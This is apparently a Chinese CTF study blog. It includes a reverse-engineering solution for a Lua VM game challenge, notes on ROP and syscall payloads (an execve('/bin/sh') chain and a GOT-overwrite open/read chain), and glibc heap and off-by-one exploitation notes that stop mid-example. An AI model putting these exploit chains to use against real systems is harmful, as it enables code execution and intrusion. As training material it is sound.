9
10
11
12
13
14
15
16
17
18
function slot0.breakBrick(slot0, slot1, slot2)
if slot0:getPropertiesForGID(slot0.brickLayer:getTileGIDAt(slot1)) == 0 then
slot0:chageBlockState(slot1)
elseif slot4 == 601 and slot0:itemInList(slot0.mushroomCoordList, slot1) then
for slot9 = 0, 31 do
slot5 = "" .. slot0.labelList["input" .. tostring(slot9)]:getString()
end

slot6 = require("core.Util").create(slot5)

slot6:OoO()

if slot6:oOo() then
slot0:showNewMushroom(slot1, slot2)
slot0:removeItem(slot0.mushroomCoordList, slot1)
end
end
end

这个东西是最重要的:

1
2
3
for slot9 = 0, 31 do
slot5 = "" .. slot0.labelList["input" .. tostring(slot9)]:getString()
end

也就是通过顶砖块,进行32个字符的输入,输入正确就能得到蘑菇,击败板栗就能成功。之后将输入的拼接成slot5传递给util.lua文件的create函数,返回slot6,这个值再调用OoO(),然后调用slot6:oOo(),返回1就行,所以如何使slot6:oOo()函数返回true。

看util.lua函数会发现,出题人实现了一个虚拟机

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
function slot0.OoO(slot0)
while true do
opcode = slot0.slot[1][slot0.slot[5]]

if opcode == 17 then
slot1 = slot0.slot[1][slot0.slot[5] + 1]
slot0.slot[1][33 + slot1] = slot0:lil(slot0.slot[1][33 + slot1] + 1, 255)
slot0.slot[5] = slot0.slot[5] + 2
elseif opcode == 33 then
slot1 = slot0.slot[1][slot0.slot[5] + 1]
slot0.slot[slot1 - 7] = slot0:lil(slot0.slot[slot1 - 7] + 1, 255)
slot0.slot[5] = slot0.slot[5] + 2
elseif opcode == 65 then
slot0.slot[6] = slot0.slot[6] + 1
slot0.slot[2][slot0.slot[6]] = slot0.slot[1][slot0.slot[5] + 1]
slot0.slot[5] = slot0.slot[5] + 2
elseif opcode == 18 then
slot1 = slot0.slot[1][slot0.slot[5] + 1]
slot0.slot[1][33 + slot1] = slot0:lil(slot0.slot[1][33 + slot1] - 1, 255)
slot0.slot[5] = slot0.slot[5] + 2
elseif opcode == 35 then
slot1 = slot0.slot[1][slot0.slot[5] + 1]
slot0.slot[slot1 - 7] = slot0:ili(slot0.slot[slot1 - 7], slot0.slot[1][slot0.slot[5] + 2])
slot0.slot[5] = slot0.slot[5] + 3
elseif opcode == 50 then
slot0.slot[6] = slot0.slot[6] + 1
slot0.slot[2][slot0.slot[6]] = slot0.slot[2][33 + slot0.slot[1][slot0.slot[5] + 1]]
slot0.slot[5] = slot0.slot[5] + 2
elseif opcode == 36 then
slot1 = slot0.slot[1][slot0.slot[5] + 1]
slot0.slot[slot1 - 7] = slot0:ili(slot0.slot[slot1 - 7], slot0.slot[slot0.slot[1][slot0.slot[5] + 2] - 7])
slot0.slot[5] = slot0.slot[5] + 3
elseif opcode == 49 then
slot0.slot[2][224 + slot0.slot[1][slot0.slot[5] + 1]] = slot0.slot[2][slot0.slot[6]]
slot0.slot[6] = slot0.slot[6] - 1
slot0.slot[5] = slot0.slot[5] + 2
elseif opcode == 34 then
slot1 = slot0.slot[1][slot0.slot[5] + 1]
slot0.slot[slot1 - 7] = slot0:lil(slot0.slot[slot1 - 7] - 1, 255)
slot0.slot[5] = slot0.slot[5] + 2
elseif opcode == 66 then
slot0.slot[6] = slot0.slot[6] + 1
slot0.slot[2][slot0.slot[6]] = slot0.slot[slot0.slot[1][slot0.slot[5] + 1] - 7]
slot0.slot[5] = slot0.slot[5] + 2
elseif opcode == 37 then
slot0.slot[slot0.slot[1][slot0.slot[5] + 1] - 7] = slot0.slot[2][slot0.slot[6]]
slot0.slot[6] = slot0.slot[6] - 1
slot0.slot[5] = slot0.slot[5] + 2
elseif opcode == 144 then
return
else
break
end
end
end

slot0.slot[5] + 1是计数的,slot0.slot[1]是数组,slot0:lil函数代表第一个操作数的运算,比如:

1
2
3
4
5
6
slot0.slot[1][33 + slot1] = slot0:lil(slot0.slot[1][33 + slot1] + 1, 255)
也就是实现了slot0.slot[1][33 + slot1] ++
slot0.slot[1][33 + slot1] = slot0:lil(slot0.slot[1][33 + slot1] - 1, 255)
实现了slot0.slot[1][33 + slot1] --
slot0.slot[slot1 - 7] = slot0:ili(slot0.slot[slot1 - 7], slot0.slot[1][slot0.slot[5] + 2])
实现了异或
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
inst = [65, 30, 37, 10, 50, 0, 37, 11, 36, 10, 11, 34, 10, 66, 10, 49, 0, 50, 191, 37, 10, 50, 1, 37, 11, 36, 10, 11, 33, 10, 66, 10, 49, 1, 50, 192, 37, 10, 50, 2, 37, 11, 36, 10, 11, 34, 10, 66, 10, 49, 2, 50, 193, 37, 10, 50, 3, 37, 11, 36, 10, 11, 33, 10, 66, 10, 49, 3, 50, 194, 37, 10, 50, 4, 37, 11, 36, 10, 11, 34, 10, 66, 10, 49, 4, 50, 195, 37, 10, 50, 5, 37, 11, 36, 10, 11, 33, 10, 66, 10, 49, 5, 50, 196, 37, 10, 50, 6, 37, 11, 36, 10, 11, 34, 10, 66, 10, 49, 6, 50, 197, 37, 10, 50, 7, 37, 11, 36, 10, 11, 33, 10, 66, 10, 49, 7, 50, 198, 37, 10, 50, 8, 37, 11, 36, 10, 11, 34, 10, 66, 10, 49, 8, 50, 199, 37, 10, 50, 9, 37, 11, 36, 10, 11, 33, 10, 66, 10, 49, 9, 50, 200, 37, 10, 50, 10, 37, 11, 36, 10, 11, 34, 10, 66, 10, 49, 10, 50, 201, 37, 10, 50, 11, 37, 11, 36, 10, 11, 33, 10, 66, 10, 49, 11, 50, 202, 37, 10, 50, 12, 37, 11, 36, 10, 11, 34, 10, 66, 10, 49, 12, 50, 203, 37, 10, 50, 13, 37, 11, 36, 10, 11, 33, 10, 66, 10, 49, 13, 50, 204, 37, 10, 50, 14, 37, 11, 36, 10, 11, 34, 10, 66, 10, 49, 14, 50, 205, 37, 10, 50, 15, 37, 11, 36, 10, 11, 33, 10, 66, 10, 49, 15, 50, 206, 37, 10, 50, 16, 37, 11, 36, 10, 11, 34, 10, 66, 10, 49, 16, 50, 207, 37, 10, 50, 17, 37, 11, 36, 10, 11, 33, 10, 66, 10, 49, 17, 50, 208, 37, 10, 50, 18, 37, 11, 36, 10, 11, 34, 10, 66, 10, 49, 18, 50, 209, 37, 10, 50, 19, 37, 11, 36, 10, 11, 33, 10, 66, 10, 49, 19, 50, 210, 37, 10, 50, 20, 37, 11, 36, 10, 11, 34, 10, 66, 10, 49, 20, 50, 211, 37, 10, 50, 21, 37, 11, 36, 10, 11, 33, 10, 66, 10, 49, 21, 50, 212, 37, 10, 50, 22, 37, 11, 36, 10, 11, 34, 10, 66, 10, 49, 22, 50, 213, 37, 10, 50, 23, 37, 11, 36, 10, 11, 33, 10, 66, 10, 49, 23, 50, 214, 37, 10, 50, 24, 37, 11, 36, 10, 11, 34, 10, 66, 10, 49, 24, 50, 215, 37, 10, 50, 25, 37, 11, 36, 10, 11, 33, 10, 66, 10, 49, 25, 50, 216, 37, 10, 50, 26, 37, 11, 36, 10, 11, 34, 10, 66, 10, 49, 26, 50, 217, 37, 10, 50, 27, 37, 11, 36, 10, 11, 33, 10, 66, 10, 49, 27, 50, 218, 37, 10, 50, 28, 37, 11, 36, 10, 11, 34, 10, 66, 10, 49, 28, 50, 219, 37, 10, 50, 29, 37, 11, 36, 10, 11, 33, 10, 66, 10, 49, 29, 50, 220, 37, 10, 50, 30, 37, 11, 36, 10, 11, 34, 10, 66, 10, 49, 30, 50, 221, 37, 10, 50, 31, 37, 11, 36, 10, 11, 34, 10, 66, 10, 49, 31, 144, 144, 144, 144]
vm_ip = 0
temp_reg = 0

while vm_ip < len(inst):

opcode = inst[vm_ip]
operand1 = inst[vm_ip + 1]

if opcode == 0x11:
code = f"(byte) input[{operand1}]++"
vm_ip += 2

elif opcode == 0x12:
code = f"(byte) input[{operand1}]--"
vm_ip += 2

elif opcode == 0x21:
code = f"reg{operand1 - 8}++"
vm_ip += 2

elif opcode == 0x22:
code = f"reg{operand1 - 8}--"
vm_ip += 2

elif opcode == 0x23:
operand2 = inst[vm_ip + 2]
code = f"reg{operand1 - 8} ^= {operand2}"
vm_ip += 3

elif opcode == 0x24:
operand2 = inst[vm_ip + 2]
code = f"reg{operand1 - 8} ^= reg{operand2 - 8}"
vm_ip += 3

elif opcode == 0x25:
code = f"reg{operand1 - 8} = memory[{temp_reg}]"
temp_reg -= 1
vm_ip += 2

elif opcode == 0x31:
code = f"input[{operand1}] = (byte) memory[{temp_reg}]"
temp_reg -= 1
vm_ip += 2

elif opcode == 0x32:
temp_reg += 1
code = f"memory[{temp_reg}] = (byte) input[{operand1}]"
vm_ip += 2

elif opcode == 0x41:
temp_reg += 1
code = f"memory[{temp_reg}] = {operand1}"
vm_ip += 2

elif opcode == 0x42:
temp_reg += 1
code = f"memory[{temp_reg}] = reg{operand1 - 8}"
vm_ip += 2

else:
break

print(code)

跑出来的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
memory[1] = 30
reg2 = memory[1]
memory[1] = (byte) input[0]
reg3 = memory[1]
reg2 ^= reg3
reg2--
memory[1] = reg2
input[0] = (byte) memory[1]
memory[1] = (byte) input[191]
reg2 = memory[1]
memory[1] = (byte) input[1]
reg3 = memory[1]
reg2 ^= reg3
reg2++
memory[1] = reg2
input[1] = (byte) memory[1]
memory[1] = (byte) input[192]
reg2 = memory[1]
memory[1] = (byte) input[2]
reg3 = memory[1]
reg2 ^= reg3
reg2--
memory[1] = reg2
input[2] = (byte) memory[1]
memory[1] = (byte) input[193]
reg2 = memory[1]
memory[1] = (byte) input[3]
reg3 = memory[1]
reg2 ^= reg3
reg2++
memory[1] = reg2
input[3] = (byte) memory[1]
memory[1] = (byte) input[194]
reg2 = memory[1]
memory[1] = (byte) input[4]
reg3 = memory[1]
reg2 ^= reg3
reg2--
memory[1] = reg2
input[4] = (byte) memory[1]
memory[1] = (byte) input[195]
reg2 = memory[1]
memory[1] = (byte) input[5]
reg3 = memory[1]
reg2 ^= reg3
reg2++
memory[1] = reg2
input[5] = (byte) memory[1]
memory[1] = (byte) input[196]
reg2 = memory[1]
memory[1] = (byte) input[6]
reg3 = memory[1]
reg2 ^= reg3
reg2--
memory[1] = reg2
input[6] = (byte) memory[1]
memory[1] = (byte) input[197]
reg2 = memory[1]
memory[1] = (byte) input[7]
reg3 = memory[1]
reg2 ^= reg3
reg2++
memory[1] = reg2
input[7] = (byte) memory[1]
memory[1] = (byte) input[198]
reg2 = memory[1]
memory[1] = (byte) input[8]
reg3 = memory[1]
reg2 ^= reg3
reg2--
memory[1] = reg2
input[8] = (byte) memory[1]
memory[1] = (byte) input[199]
reg2 = memory[1]
memory[1] = (byte) input[9]
reg3 = memory[1]
reg2 ^= reg3
reg2++
memory[1] = reg2
input[9] = (byte) memory[1]
memory[1] = (byte) input[200]
reg2 = memory[1]
memory[1] = (byte) input[10]
reg3 = memory[1]
reg2 ^= reg3
reg2--
memory[1] = reg2
input[10] = (byte) memory[1]
memory[1] = (byte) input[201]
reg2 = memory[1]
memory[1] = (byte) input[11]
reg3 = memory[1]
reg2 ^= reg3
reg2++
memory[1] = reg2
input[11] = (byte) memory[1]
memory[1] = (byte) input[202]
reg2 = memory[1]
memory[1] = (byte) input[12]
reg3 = memory[1]
reg2 ^= reg3
reg2--
memory[1] = reg2
input[12] = (byte) memory[1]
memory[1] = (byte) input[203]
reg2 = memory[1]
memory[1] = (byte) input[13]
reg3 = memory[1]
reg2 ^= reg3
reg2++
memory[1] = reg2
input[13] = (byte) memory[1]
memory[1] = (byte) input[204]
reg2 = memory[1]
memory[1] = (byte) input[14]
reg3 = memory[1]
reg2 ^= reg3
reg2--
memory[1] = reg2
input[14] = (byte) memory[1]
memory[1] = (byte) input[205]
reg2 = memory[1]
memory[1] = (byte) input[15]
reg3 = memory[1]
reg2 ^= reg3
reg2++
memory[1] = reg2
input[15] = (byte) memory[1]
memory[1] = (byte) input[206]
reg2 = memory[1]
memory[1] = (byte) input[16]
reg3 = memory[1]
reg2 ^= reg3
reg2--
memory[1] = reg2
input[16] = (byte) memory[1]
memory[1] = (byte) input[207]
reg2 = memory[1]
memory[1] = (byte) input[17]
reg3 = memory[1]
reg2 ^= reg3
reg2++
memory[1] = reg2
input[17] = (byte) memory[1]
memory[1] = (byte) input[208]
reg2 = memory[1]
memory[1] = (byte) input[18]
reg3 = memory[1]
reg2 ^= reg3
reg2--
memory[1] = reg2
input[18] = (byte) memory[1]
memory[1] = (byte) input[209]
reg2 = memory[1]
memory[1] = (byte) input[19]
reg3 = memory[1]
reg2 ^= reg3
reg2++
memory[1] = reg2
input[19] = (byte) memory[1]
memory[1] = (byte) input[210]
reg2 = memory[1]
memory[1] = (byte) input[20]
reg3 = memory[1]
reg2 ^= reg3
reg2--
memory[1] = reg2
input[20] = (byte) memory[1]
memory[1] = (byte) input[211]
reg2 = memory[1]
memory[1] = (byte) input[21]
reg3 = memory[1]
reg2 ^= reg3
reg2++
memory[1] = reg2
input[21] = (byte) memory[1]
memory[1] = (byte) input[212]
reg2 = memory[1]
memory[1] = (byte) input[22]
reg3 = memory[1]
reg2 ^= reg3
reg2--
memory[1] = reg2
input[22] = (byte) memory[1]
memory[1] = (byte) input[213]
reg2 = memory[1]
memory[1] = (byte) input[23]
reg3 = memory[1]
reg2 ^= reg3
reg2++
memory[1] = reg2
input[23] = (byte) memory[1]
memory[1] = (byte) input[214]
reg2 = memory[1]
memory[1] = (byte) input[24]
reg3 = memory[1]
reg2 ^= reg3
reg2--
memory[1] = reg2
input[24] = (byte) memory[1]
memory[1] = (byte) input[215]
reg2 = memory[1]
memory[1] = (byte) input[25]
reg3 = memory[1]
reg2 ^= reg3
reg2++
memory[1] = reg2
input[25] = (byte) memory[1]
memory[1] = (byte) input[216]
reg2 = memory[1]
memory[1] = (byte) input[26]
reg3 = memory[1]
reg2 ^= reg3
reg2--
memory[1] = reg2
input[26] = (byte) memory[1]
memory[1] = (byte) input[217]
reg2 = memory[1]
memory[1] = (byte) input[27]
reg3 = memory[1]
reg2 ^= reg3
reg2++
memory[1] = reg2
input[27] = (byte) memory[1]
memory[1] = (byte) input[218]
reg2 = memory[1]
memory[1] = (byte) input[28]
reg3 = memory[1]
reg2 ^= reg3
reg2--
memory[1] = reg2
input[28] = (byte) memory[1]
memory[1] = (byte) input[219]
reg2 = memory[1]
memory[1] = (byte) input[29]
reg3 = memory[1]
reg2 ^= reg3
reg2++
memory[1] = reg2
input[29] = (byte) memory[1]
memory[1] = (byte) input[220]
reg2 = memory[1]
memory[1] = (byte) input[30]
reg3 = memory[1]
reg2 ^= reg3
reg2--
memory[1] = reg2
input[30] = (byte) memory[1]
memory[1] = (byte) input[221]
reg2 = memory[1]
memory[1] = (byte) input[31]
reg3 = memory[1]
reg2 ^= reg3
reg2--
memory[1] = reg2
input[31] = (byte) memory[1]

其实就能看出来运算了,给出脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
cipher = [ 94, 106, 91, 110, 86, 100, 82, 20, 32, 20, 80, 21, 83, 107, 88, 98, 81, 19, 79, 10, 49, 117, 68, 120, 61, 13, 75, 115, 48, 8, 76, 123 ]

for i in range(31, 0, -1):
if i % 2 == 0 or i == 31:
cipher[i] += 1
else:
cipher[i] -= 1
cipher[i] &= 0xFF
cipher[i] ^= cipher[i - 1]

cipher[0] = (cipher[0] + 1) ^ 30

flag = ''.join(map(chr, cipher))
print(flag)

得到flag:A766957A53EDA9290CCF8E03F1A9B7E0

ret2xx

这两周做了很多栈溢出的题,这是很基础的东西,所以想写一下做一个归类。

基础知识

系统调用怎么写:首先,如果要在rop链中用系统调用,要知道32位和64位区别:

1.传参方式不同

2.系统调用号不同

3.调用方式不同

32位传参方式:

系统调用号存在eax,参数依次放在ebx,ecx,edx,esi,edi,ebp,返回值存到eax

调用号:sys_read的调用号为3,sys_write的调用号为4,sys_execve的调用号为11

调用方式:使用int 0x80软中端指令进行系统调用

64位传参方式:
系统调用号放在rax,参数依次放在rdi,rsi,rdx,r10,r8,r9,返回值存在rax

(和普通函数调用仅仅在第四个参数那不同,普通的函数是参数放入rcx)

调用号:sys_read的调用号为0,sys_write的调用号为1,sys_execve的调用号为59

调用方式:使用syscall函数进行系统调用

image-20230323111008911

image-20230323111035012

举例:32位:ret2syscall,如何调用以下函数:

1
execve("/bin/sh",NULL,NULL)
1
payload = flat([b'a' * 112, pop_eax, 0xb, pop_edx_ecx_ebx, 0, 0, binsh, int_0x80])

先将系统调用号存到eax,再将参数传入ebx,ecx,edx,最后执行0x80软中断

64位:如何调用以下函数:

1
2
3
fd = open("flag", O_RDONLY)
read(fd, bss+0x100, 0x50)
printf(bss_addr+0x100)
1
2
3
4
5
6
7
8
payload += b'a'*0x38 + p64(pop_rdi_ret) + p64(alarm_got) +p64(pop_rax_ret) + p64(syscall_offset) + p64(add_rdi_al_ret)
# open("flag", O_RDONLY)
payload += p64(pop_rsi_pop_r15_ret) + p64(O_RDONLY) + b'deadbeef' + p64(pop_rdi_ret) + p64(flag_addr) + p64(pop_rax_ret) + p64(n_sys_open) + p64(alarm_plt)
# read(fd, bss_addr+0x100, 0x50)
payload += p64(pop_rdx_ret) + p64(0x50) + p64(pop_rsi_pop_r15_ret) + p64(bss_addr+0x100) + b'deadbeef' + p64(pop_rdi_ret) + p64(fd) + p64(read_plt)
# printf(bss_addr+0x100)
payload += p64(pop_rdi_ret) + p64(bss_addr+0x100) + p64(printf_plt)

首先rdi存某个系统调用的got地址,再用rax存syscall相对于alarm这个系统调用的偏移地址,接下来用add将got中alarm地址+偏移就是syscall地址覆盖alarm的got地址,所以该地址变成了syscall,rdi存的就是syscall地址,接下来rsi存入open的第一个参数,r15存入垃圾数据,然后rdi存flag字符串地址,rax存open的调用号,最后用syscall来调用这个rop(改alarm的got,调用函数需要用plt)

read函数本来就在程序中用过,所以不用执行系统调用。

pwn2heap

堆的基础知识

我们现在在学的是在glibc下的堆–ptmalloc2。堆是由低地址向高地址增长的,管理堆的称为对管理器。

malloc调用底层原理,malloc通过创建堆的大小来选择,下图很经典:

image-20230328191402830

通过brk申请内存,初始状态start_brk和brk指向同一地址,aslr开启会有不同效果

  • 不开启 ASLR 保护时,start_brk 以及 brk 会指向 data/bss 段的结尾。
  • 开启 ASLR 保护时,start_brk 以及 brk 也会指向同一位置,只是这个位置是在 data/bss 段结尾后的随机偏移处。

通过mmap申请内存,用来申请大的空间。

我们如果申请1000字节内存,但会得到很大的堆,是因为系统要向内核请示,这样会消耗许多系统资源,所以直接给一个很大的内存可以避免多次用户态和内核态切换,这段连续内存叫arena

堆的结构

malloc_chunk

由malloc申请的内存叫chunk,这块内存在ptmalloc内部用malloc_chunk结构体表示,无论chunk大小如何,处于分配还是释放状态,都有统一结构。

1
2
3
4
5
6
7
8
9
10
11
12
struct malloc_chunk {

INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */

struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;

/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};

INTERNAL_SIZE_T 就是size_t 是无符号整数

prev_size:如果该 chunk 的物理相邻的前一地址 chunk(两个指针的地址差值为前一 chunk 大小)是空闲的话,那该字段记录的是前一个chunck的大小(包括chunk头),否则该字段可以用来存储物理地址相邻的前一个chunk数据,前一个chunk指的是低地址的chunk。

size:指当前chunck大小,必须是4或8的倍数,因为机子要么是32位要么是64位,地址必须要遵守上述规定,所以其2进制后三位一定为0,所以我们给他新的应用,从高往低依次表示:

  • NON_MAIN_ARENA,记录当前 chunk 是否不属于主线程,1 表示不属于,0 表示属于。
  • IS_MAPPED,记录当前 chunk 是否是由 mmap 分配的。
  • PREV_INUSE,记录前一个 chunk 块是否被分配。一般来说,堆中第一个被分配的内存块的 size 字段的 P 位都会被设置为 1,以便于防止访问前面的非法内存。当一个 chunk 的 size 的 P 位为 0 时,我们能通过 prev_size 字段来获取上一个 chunk 的大小以及地址。这也方便进行空闲 chunk 之间的合并(如果前面的chunk没有free,该位为1)。

fd,bk:chunk在分配状态时,fd字段开始是用户数据。chunk空闲时,会被添加到对应空闲管理链表中:

  • fd 指向下一个(非物理相邻)空闲的 chunk
  • bk 指向上一个(非物理相邻)空闲的 chunk
  • 通过 fd 和 bk 可以将空闲的 chunk 块加入到空闲的 chunk 块链表进行统一管理

fd_nextsize,bk_nextsize:用于较大的chunk,用于空闲的chunk

  • fd_nextsize 指向前一个与当前 chunk 大小不同的第一个空闲块,不包含 bin 的头指针。
  • bk_nextsize 指向后一个与当前 chunk 大小不同的第一个空闲块,不包含 bin 的头指针。
  • 一般空闲的 large chunk 在 fd 的遍历顺序中,按照由大到小的顺序排列。这样做可以避免在寻找合适 chunk 时挨个遍历。

一个已经分配的 chunk 的样子如下。我们称前两个字段称为 chunk header,后面的部分称为 user data。每次 malloc 申请得到的内存指针,其实指向 user data 的起始处。(分配的内存地址和malloc赋予的指针地址其实不一样)

当一个 chunk 处于使用状态时,它的下一个 chunk 的 prev_size 域无效,所以下一个 chunk 的该部分也可以被当前 chunk 使用。这就是 chunk 中的空间复用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of previous chunk, if unallocated (P clear) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of chunk, in bytes |A|M|P|
mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| User data starts here... .
. .
. (malloc_usable_size() bytes) .
next . |
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| (size of chunk, but used for application data) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of next chunk, in bytes |A|0|1|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

bin

被释放的堆并不会立刻消失,会由ptmalloc堆管理器管理,为了是当又需要chunk时能够立刻挑选一个合适的给用户。空闲的chunk会被分为4类:fast bins,small bins,large bins,unsorted bin。ptmalloc将这些维护在一个数组中,存放在malloc_state中

数组中的 bin 依次如下

  1. 第一个为 unsorted bin,字如其面,这里面的 chunk 没有进行排序,存储的 chunk 比较杂。
  2. 索引从 2 到 63 的 bin 称为 small bin,同一个 small bin 链表中的 chunk 的大小相同。两个相邻索引的 small bin 链表中的 chunk 大小相差的字节数为 2 个机器字长,即 32 位相差 8 字节,64 位相差 16 字节。
  3. small bins 后面的 bin 被称作 large bins。large bins 中的每一个 bin 都包含一定范围内的 chunk,其中的 chunk 按 fd 指针的顺序从大到小排列。相同大小的 chunk 同样按照最近使用顺序排列。

此外,上述这些 bin 的排布都会遵循一个原则:任意两个物理相邻的空闲 chunk 不能在一起

需要注意的是,并不是所有的 chunk 被释放后就立即被放到 bin 中。ptmalloc 为了提高分配的速度,会把一些小的 chunk 放到 fast bins 的容器内。而且,fastbin 容器中的 chunk 的使用标记总是被置位的,所以不满足上面的原则。

fastbin(lifo)

为了不把时间花在合并和拆分堆内存上,fastbin被设计出来,glibc对fastbin中的每个bin进行单向链表组织,fastbin最大chunk空间是80字节,当需要小于80字节时,会先在fastbin里寻找有对应大小的空闲块。

smallbin(fifo)

image-20230328203217271

smallbin是双向链表,共62个,每个链表存储chunk大小都一样。比如32位系统下标2对应链表chunk大小都是16字节

largebin

一共有63个bin,每个bin中chunk大小不同,处于一定区间范围内,这63个bin被分成6组,每组bin中chunk大小一致

image-20230328203741130

unsortedbin(fifio)

是空闲chunk回归所属bin之前的缓冲区,unsortedbin只有一个链表,chunk处于乱序状态

  • 当一个较大的 chunk 被分割成两半后,如果剩下的部分大于 MINSIZE,就会被放到 unsorted bin 中。
  • 释放一个不属于 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中。

top chunk

程序第一次malloc时,heap会被分成两块,一块给用户,一块就是topchunk,这个topchunk物理地址时最高的,它不属于任何一个bin,如果所有bin都满足不了用户需求,就从他这分走一块bin,剩余的做成新的topbchunk。

初始情况可以把unsortedbin作为topchunk。

last remainder

在用户使用 malloc 请求分配内存时,ptmalloc2 找到的 chunk 可能并不和申请的内存大小一致,这时候就将分割之后的剩余部分称之为 last remainder chunk ,unsort bin 也会存这一块。top chunk 分割剩下的部分不会作为 last remainder.

unlink是一个ptmalloc中的操作,为了将双向链表中的一个元素取出来

如:

1、malloc时需要从largebin中取出chunk,而fastbin和smallbin不使用unlink,依次遍历处理unsortedbin也不会用unlink,或者从比请求chunk所在bin打的bin中取chunk时

2、free:向后合并,合并物理地址相邻的低地址空闲chunk;向前合并,合并物理地址相邻的高地址空闲chunk

3、malloc_consolidate

向后合并,合并物理地址相邻的低地址空闲chunk;向前合并,合并物理地址相邻的高地址空闲chunk

4、realloc

向前扩展,合并物理地址相邻高地址空闲chunk

下图是经典的smallbin的unlink:

image-20230330210801150

堆溢出

原理:溢出是指程序向某个堆块中写入的字节数超过了堆块本身可使用的字节数(之所以是可使用而不是用户申请的字节数,是因为堆管理器会对用户所申请的字节数进行调整,这也导致可利用的字节数都不小于用户申请的字节数),因而导致了数据溢出,并覆盖到物理相邻的高地址的下一个堆块。

策略:

  1. 覆盖与其

    物理相邻的下一个 chunk

    的内容。

    • prev_size
    • size,主要有三个比特位,以及该堆块真正的大小。
      • NON_MAIN_ARENA
      • IS_MAPPED
      • PREV_INUSE
      • the True chunk size
    • chunk content,从而改变程序固有的执行流。
  2. 利用堆中的机制(如 unlink 等 )来实现任意地址写入( Write-Anything-Anywhere)或控制堆块中的内容等效果,从而来控制程序的执行流。

calloc与malloc区别就是calloc会在分配后自动清空

1
2
3
4
calloc(0x20);
//等同于
ptr=malloc(0x20);
memset(ptr,0,0x20);

realloc

1
2
3
4
5
6
7
8
9
realloc(ptr,size) 的 size 不等于 ptr 的 size 时
如果申请 size > 原来 size
如果 chunk 与 top chunk 相邻,直接扩展这个 chunk 到新 size 大小
如果 chunk 与 top chunk 不相邻,相当于 free(ptr),malloc(new_size)
如果申请 size < 原来 size
如果相差不足以容得下一个最小 chunk(64 位下 32 个字节,32 位下 16 个字节),则保持不变
如果相差可以容得下一个最小 chunk,则切割原 chunk 为两部分,free 掉后一部分
realloc(ptr,size) 的 size 等于 0 时,相当于 free(ptr)
realloc(ptr,size) 的 size 等于 ptr 的 size,不进行任何操作

例题还没刷到

Off-By-One

原理:off-by-one指的是单字节缓冲区溢出,漏洞与边界检查不严和字符串传递有关。

利用思路:

1、溢出字节位可控制任意字节:通过修改大小造成块结构之间出现重叠,从而泄露其他块数据,或者覆盖其他块数据。也可以使用NULL字节溢出方法。

2、溢出字节为NULL字节:在size为0x100的时候,溢出NULL字节可以使得prev_in_use位被清除,这样前块会被认为是free块。(1)这时候可以选择unlink方法进行处理(2)另外prev_size就会启用,就可以伪造prev_size,从而造成块之间发生重叠。这个方法关键是unlink有没有检查按照prev_size找到的块的大小与prev_size是否一致。

ps.2.28之前没有check方法2

举一个例子,刚开始看真的不是很好理解:

b00ks:

这个程序有很多功能

1
2
3
4
5
6
1. Create a book
2. Delete a book
3. Edit a book
4. Print book detail
5. Change current author name
6. Exit

书本的一个结构体大小是20字节

1
2
3
4
5
6
7
struct book
{
int id;
char *name;
char *description;
int size;
}

作者名字可以修改,book结构体中的description可以修改,这两处修改函数都是有offbyone漏洞的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
signed __int64 __fastcall my_read(_BYTE *ptr, int number)
{
int i; // [rsp+14h] [rbp-Ch]
_BYTE *buf; // [rsp+18h] [rbp-8h]

if ( number <= 0 )
return 0LL;
buf = ptr;
for ( i = 0; ; ++i )
{
if ( (unsigned int)read(0, buf, 1uLL) != 1 )
return 1LL;
if ( *buf == '\n' )
break;
++buf;
if ( i == number )
break;
}
*buf = 0;
return 0LL;
}

首先输入作者名后可以搜索到存放地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> search -s flag
